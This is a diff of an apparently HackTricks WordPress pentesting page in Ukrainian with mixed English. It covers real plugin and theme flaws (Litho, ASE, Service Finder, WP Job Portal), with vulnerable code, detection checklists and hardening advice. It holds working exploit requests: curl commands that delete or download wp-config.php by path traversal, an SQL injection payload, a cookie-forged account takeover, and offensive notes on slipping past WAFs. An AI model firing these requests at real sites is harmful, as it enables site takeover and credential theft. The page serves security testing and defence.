- Шукати `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Переглянути реєстрації REST на предмет привілейованих callback-ів, які позбавлені надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
|
||||
- Шукати використання функцій керування користувачами ядра (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступ до яких обмежений лише значеннями заголовків.
|
||||
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
|
||||
- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST handler-ів, які захищені лише значеннями заголовків.
|
||||
|
||||
Зміцнення безпеки
|
||||
Зміцнення
|
||||
|
||||
- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом.
|
||||
- Якщо reverse proxy має інжектити ідентичність, завершіть довіру на проксі і видаляйте вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на краю), потім передавайте підписаний токен і перевіряйте його на сервері.
|
||||
- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та жорсткого `permission_callback` (не використовуйте `__return_true`).
|
||||
- Віддавайте перевагу першопартійній автентифікації (cookies, application passwords, OAuth) замість «імітації» через заголовки.
|
||||
- Ніколи не витягувати аутентифікацію чи авторизацію з заголовків, контрольованих клієнтом.
|
||||
- Якщо reverse proxy повинно інжектити ідентичність, завершіть довіру на проксі та видаляйте вхідні копії (e.g., `unset X-Wcpay-Platform-Checkout-User` на edge), потім передавайте підписаний токен і перевіряйте його на сервері.
|
||||
- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та суворого `permission_callback` (do NOT use `__return_true`).
|
||||
- Надавайте перевагу першопартійному auth (cookies, application passwords, OAuth) замість видавання користувача через заголовки.
|
||||
|
||||
Посилання: див. посилання в кінці цієї сторінки для публічного випадку та ширшого аналізу.
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
@ -443,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Проблеми, які викликає цей фрагмент:
|
||||
Проблеми, що виникають через цей фрагмент:
|
||||
|
||||
* **Доступ без автентифікації** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **Відсутня перевірка nonce / capability** – будь-який відвідувач може звернутися до endpoint.
|
||||
* **Відсутня санітизація шляху** – рядок `fontfamily`, що контролюється користувачем, конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal.
|
||||
* **Неавтентифікований доступ** – зареєстровано `wp_ajax_nopriv_` hook.
|
||||
* **Відсутня перевірка nonce / capability check** – будь‑який відвідувач може звернутися до endpoint.
|
||||
* **Відсутня санітизація шляху** – рядок, контрольований користувачем, `fontfamily` конкатенується до файлового шляху без фільтрації, що дозволяє класичний `../../` traversal.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
Нападник може видалити будь-який файл або директорію **нижче базової директорії uploads** (зазвичай `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST-запит:
|
||||
Атакувальник може видалити будь‑який файл або каталог **нижче базового каталогу uploads** (звичайно `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST запит:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Оскільки `wp-config.php` знаходиться поза директорією *uploads*, чотири послідовності `../` достатні для стандартної інсталяції. Видалення `wp-config.php` примушує WordPress при наступному відвідуванні перейти в *майстер встановлення*, що дозволяє повний site take-over (зловмисник лише надає нову DB конфігурацію та створює admin-користувача).
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Інші впливові цілі включають plugin/theme `.php` файли (щоб зламати security plugins) або правила `.htaccess`.
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### Контрольний список виявлення
|
||||
#### Detection checklist
|
||||
|
||||
* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація несанітизованого введення користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові допоміжні функції (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація нефільтрованого вводу користувача в шляхи (див. `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Підсилення захисту
|
||||
#### Hardening
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою і перевіряйте:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
> **Завжди** ставтеся до будь-якої операції запису/видалення на диску як до привілейованої та перевіряйте двічі:
|
||||
> • Аутентифікація • Авторизація • Nonce • Санітизація вводу • Контроль належності шляху (наприклад через `realpath()` плюс `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Багато плагінів реалізують "view as role" або тимчасову зміну ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається тільки на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities і дійсного nonce, це перетворюється на vertical privilege escalation.
|
||||
Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities та дійсного nonce, це перетворюється на вертикальне privilege escalation.
|
||||
|
||||
Реальний приклад було виявлено в Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
|
||||
Реальний приклад було знайдено в Admin and Site Enhancements (ASE) плагіні (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача містилося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` і не перевіряла nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -511,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Why it's exploitable
|
||||
Why it’s exploitable
|
||||
|
||||
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і їх понизили, він може відновити їх, звернувшись до шляху скидання.
|
||||
- У деяких розгортаннях будь-який authenticated user міг ініціювати скидання для іншого імені користувача, що все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації).
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, звернувшись до шляху скидання.
|
||||
- У деяких розгортаннях будь-який авторизований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації).
|
||||
|
||||
Attack prerequisites
|
||||
|
||||
- Уразлива версія плагіна з увімкненою функцією.
|
||||
- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в user meta від попереднього використання.
|
||||
- Будь-яка authenticated session; відсутній nonce/capability у процесі скидання.
|
||||
- Цільовий акаунт має застарілу роль з високими привілеями, збережену в user meta від попереднього використання.
|
||||
- Будь-яка авторизована сесія; відсутній nonce/capability у потоці скидання.
|
||||
|
||||
Exploitation (example)
|
||||
```bash
|
||||
@ -531,57 +531,106 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
На вразливих збірках це видаляє поточні ролі й заново додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” у user meta (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Визначте шляхи скидання/відновлення, які:
|
||||
- Читають імена користувачів із `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість повноважень актора.
|
||||
- Шукайте функції перемикання ролей, які зберігають “original roles” у user meta (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Виявляйте шляхи скидання/відновлення, які:
|
||||
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Змінюють ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей виконавця.
|
||||
|
||||
Hardening
|
||||
|
||||
- Забезпечте перевірку повноважень на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
|
||||
- Застосовуйте перевірки прав доступу на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
|
||||
- Вимагайте nonces для всіх змін ролей/дозволів і перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі автентифікованого актора та явної політики.
|
||||
- Інвалідуйте “оригінальні ролі” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
|
||||
- Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі аутентифікованого виконавця та явної політики.
|
||||
- Анулюйте стан “original roles” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Розгляньте зберігання мінімального стану та використання тимчасових токенів з обмеженим часом дії і capability-guarded tokens для тимчасових переключень ролей.
|
||||
- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів, захищених перевіркою прав доступу (capability), для тимчасових переключень ролей.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Деякі плагіни підключають допоміжні функції user-switching до публічного хуку `init` і визначають ідентичність на основі cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неаутентифікований відвідувач може примусово увійти як довільний ID користувача.
|
||||
|
||||
Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Чому це вразливо
|
||||
|
||||
- Публічний `init` hook робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`).
|
||||
- Ідентичність походить з клієнтської cookie, яку можна змінити (`original_user_id`).
|
||||
- Прямий виклик `wp_set_auth_cookie($uid)` авторизує запитувача як цього користувача без будь-яких capability/nonce checks.
|
||||
|
||||
Експлуатація (без аутентифікації)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
Загальні WAF на рівні edge/серверів налаштовані на виявлення широких шаблонів (SQLi, XSS, LFI). Багато високовпливових вразливостей WordPress/plugin — це помилки логіки/auth специфічні для застосунку, які виглядають як безпечний трафік, якщо рушій не розуміє маршрути WordPress і семантику плагінів.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Цільтеся на кінцеві точки, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Перевіряйте спочатку unauth шляхи (AJAX `nopriv`, REST з permissive `permission_callback`, public shortcodes). Default payloads часто працюють без обфускації.
|
||||
- Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
- Не покладайтеся на загальні сигнатури WAF для захисту plugin CVEs. Впроваджуйте віртуальні патчі, специфічні для вразливостей, на рівні застосунку або швидко оновлюйте.
|
||||
- Віддавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
|
||||
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
|
||||
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Також, **встановлюйте лише надійні плагіни та теми WordPress**.
|
||||
Також, **встановлюйте лише довірені плагіни та теми WordPress**.
|
||||
|
||||
### Плагіни безпеки
|
||||
|
||||
@ -595,12 +644,12 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- Використовуйте **надійні паролі** та **2FA**
|
||||
- Періодично **переглядайте** **права** користувачів
|
||||
- **Обмежте кількість спроб входу**, щоб запобігти атакам Brute Force
|
||||
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише локально або з певних IP-адрес.
|
||||
- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише внутрішньо або з певних IP-адрес.
|
||||
|
||||
|
||||
### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
|
||||
|
||||
Плагін рекрутингу WP Job Portal відкрив завдання **savecategory**, яке врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
|
||||
Плагін WP Job Portal для рекрутингу відкрив завдання **savecategory**, яке в кінцевому підсумку виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -610,11 +659,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Проблеми, викликані цим фрагментом:
|
||||
Проблеми, введені цим фрагментом:
|
||||
|
||||
1. **Ввід користувача без санітизації** – `parentid` надходить безпосередньо з HTTP-запиту.
|
||||
2. **Конкатенація рядків у WHERE-клаузі** – відсутні `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Доступ без автентифікації** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
|
||||
1. **Unsanitised user input** – `parentid` надходить безпосередньо з HTTP-запиту.
|
||||
2. **String concatenation inside the WHERE clause** – відсутні `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки з шорткодом `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
@ -622,7 +671,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Ін'єкція довільного SQL, зловживаючи `parentid`:
|
||||
2. Інжектуйте довільний SQL, зловживаючи `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -630,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Відповідь розкриває результат ін'єкції або змінює базу даних, що підтверджує SQLi.
|
||||
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.
|
||||
|
||||
|
||||
### Неавтентифікований Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Ще одне завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через path traversal. Вразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Ще одне завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдина перешкода — **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
`$file_name` контролюється зловмисником і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
|
||||
#### Експлуатація
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -652,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Сервер повертає вміст файлу `wp-config.php`, leaking DB credentials and auth keys.
|
||||
Сервер повертає вміст `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Посилання
|
||||
|
||||
@ -663,5 +712,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user